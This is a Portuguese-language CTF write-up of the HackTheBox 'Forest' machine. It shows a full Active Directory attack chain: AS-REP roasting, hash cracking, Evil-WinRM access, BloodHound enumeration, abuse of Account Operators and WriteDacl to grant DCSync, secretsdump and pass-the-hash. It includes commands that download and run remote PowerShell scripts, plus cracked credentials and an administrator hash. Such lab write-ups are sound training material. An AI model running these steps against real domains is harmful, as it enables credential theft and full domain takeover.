> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Relato do HackTheBox Forest {% embed url="" %} {% hint style="warning" %} **Habilidades:** * AXFR - Ataque de transferência de zona de domínio (falhou) * Enumeração RPC - Obtendo usuários válidos do domínio * Realizando um ataque AS-RepRoast com os usuários obtidos * Quebrando hashes * Abusando do WinRM - EvilWinRM * Enumeração LDAP - ldapdomaindump * Enumeração com BloodHound * Coletando informações do sistema com SharpHound.ps1 - PuckieStyle * Representando e visualizando dados no BloodHound * Encontrando um vetor de ataque no BloodHound * Abusando do grupo Account Operators - Criando um novo usuário * Abusando do grupo Account Operators - Atribuindo um grupo ao usuário recém-criado * Abusando do WriteDacl no domínio - Concedendo privilégios DCSync * Exploração DCSync - secretsdump.py {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **Listagem e operação:** ### **Reconhecimento SMB:** Usando o CrackMapExec para identificar o sistema operacional ```bash crackmapexec cmb 10.10.10.161 ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP/ é inserido no `/etc/hosts` arquivo.

/*/Exploração de compartilhamentos SMB na rede para identificar recursos compartilhados, mas sem resultados. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **Reconhecimento RPC:** Uso do rpcclient para interagir com serviços CPP e coletar informações de recursos ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### Liste os grupos: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## Ataque ASREPRoast: #### Com uma lista de usuários válidos, vamos conduzir um ataque AS-RepRoast, pois não precisamos das senhas dos usuários. Vamos usar `grep` para filtrar nomes de usuário, então inserir esses dados em um arquivo ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### Usamos a ferramenta GetNPUsers.py para extrair informações de usuário sem uma senha: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### Recuperamos o hash da senha do usuário "lucinda" e tentamos quebrá-lo com o John the Ripper usando uma lista de senhas predefinida: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### Usamos o CrackMapExec para verificar se a senha quebrada está correta, tentando uma conexão WinRM: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Por fim, usamos o Evil-WinRM para conectar à máquina remota com as credenciais quebradas: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Escalada de privilégio: ### Enumeração do domínio com BloodHound

Instalação do BloodHound:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Faça login no BloodHound com as credenciais neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **Iniciando o BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### Coletar informações com SharpHound.ps1 {% embed url="" %} ### Transfira os dados coletados para um servidor Linux. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### Transferimos o arquivo zip para a nossa equipe. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/Importe o arquivo zip no BloodHound. //*

### Análise e operações no BloodHound #### Filtrando os dados para encontrar o caminho mais curto até o administrador do domínio.

#### Identificação de pertencimento a um grupo potencialmente problemático (Account Operator).

#### Usando a capacidade de criação de usuários para preparar um ataque DCSync. ```bash net user jordanmacia password123$ /add /domain ```

### Tentativa de DCSync sem permissões suficientes ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Adicionado usuário a um grupo com permissões mais elevadas (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### Ataque WriteDACL:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Preparando o ataque WriteDACL usando PowerView\.ps1 para adicionar funcionalidade. {% embed url="" %}

#### Transferência de arquivo ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## Vulnerabilidade de ataque DCSync #### Execute o comando Add-DomainObjectAcl para obter os hashes. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Usando o Impacket para extrair hashes com o usuário jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Ataque Pass-the-Hash: Usando o hash NT do administrador para o ataque Pass-the-Hash. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Acesso ao sistema com privilégios de administrador.

### Flag final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.